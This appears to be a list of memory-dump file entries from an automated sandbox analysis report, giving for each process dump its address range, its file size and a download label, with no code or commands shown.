memory/3412-64-0x00000000009C0000-0x00000000009CB000-memory.dmp

Filesize
44KB

Download
memory/3412-63-0x00000000009D0000-0x00000000009DA000-memory.dmp

Filesize
40KB

Download
memory/3836-32-0x0000000000780000-0x00000000007F5000-memory.dmp

Filesize
468KB

Download
memory/3836-33-0x0000000000710000-0x000000000077B000-memory.dmp

Filesize
428KB

Download
memory/3836-59-0x0000000000710000-0x000000000077B000-memory.dmp

Filesize
428KB

Download
memory/3836-34-0x0000000000710000-0x000000000077B000-memory.dmp

Filesize
428KB

Download
memory/3920-79-0x00000000009B0000-0x00000000009B9000-memory.dmp

Filesize
36KB

Download
memory/3920-80-0x00000000009C0000-0x00000000009C5000-memory.dmp

Filesize
20KB

Download
memory/3920-119-0x00000000009B0000-0x00000000009B9000-memory.dmp

Filesize
36KB

Download
memory/4456-60-0x0000000000D00000-0x0000000000D04000-memory.dmp

Filesize
16KB

Download
memory/4456-61-0x0000000000CF0000-0x0000000000CF9000-memory.dmp

Filesize
36KB

Download
memory/4456-62-0x0000000000CF0000-0x0000000000CF9000-memory.dmp

Filesize
36KB

Download
memory/4456-71-0x0000000000D00000-0x0000000000D04000-memory.dmp

Filesize
16KB

Download
memory/4484-148-0x00000000001D0000-0x00000000001DB000-memory.dmp

Filesize
44KB

Download
memory/4484-146-0x00000000001D0000-0x00000000001DB000-memory.dmp

Filesize
44KB

Download
memory/4484-159-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
memory/4484-161-0x00000000001D0000-0x00000000001DB000-memory.dmp

Filesize
44KB

Download
memory/4484-151-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/4484-156-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4484-147-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4584-107-0x0000000000AD0000-0x0000000000ADB000-memory.dmp

Filesize
44KB

Download
memory/4584-110-0x0000000000AE0000-0x0000000000AE6000-memory.dmp

Filesize
24KB

Download
memory/4584-149-0x0000000000AE0000-0x0000000000AE6000-memory.dmp

Filesize
24KB

Download
memory/4584-109-0x0000000000AD0000-0x0000000000ADB000-memory.dmp

Filesize
44KB

Download
memory/4968-105-0x00007FF9B2B70000-0x00007FF9B3631000-memory.dmp

Filesize
10.8MB

Download
memory/4968-112-0x00000122B6030000-0x00000122B6040000-memory.dmp

Filesize
64KB

Download
memory/4968-106-0x00000122B6030000-0x00000122B6040000-memory.dmp

Filesize
64KB

Download
memory/4968-108-0x00000122B6030000-0x00000122B6040000-memory.dmp

Filesize
64KB

Download
memory/4968-113-0x00000122B6030000-0x00000122B6040000-memory.dmp

Filesize
64KB

Download
memory/4968-121-0x00007FF9B2B70000-0x00007FF9B3631000-memory.dmp

Filesize
10.8MB

Download
memory/4968-95-0x00000122B5FF0000-0x00000122B6012000-memory.dmp

Filesize
136KB

Download
memory/4972-37-0x0000000000EC0000-0x0000000000ECC000-memory.dmp

Filesize
48KB

Download
memory/4972-36-0x0000000000ED0000-0x0000000000ED7000-memory.dmp

Filesize
28KB

Download
memory/4972-35-0x0000000000EC0000-0x0000000000ECC000-memory.dmp

Filesize
48KB

Download
memory/5056-170-0x00007FF734550000-0x00007FF734F46000-memory.dmp

Filesize
10.0MB

Download
memory/5056-82-0x00007FF734550000-0x00007FF734F46000-memory.dmp

Filesize
10.0MB

Download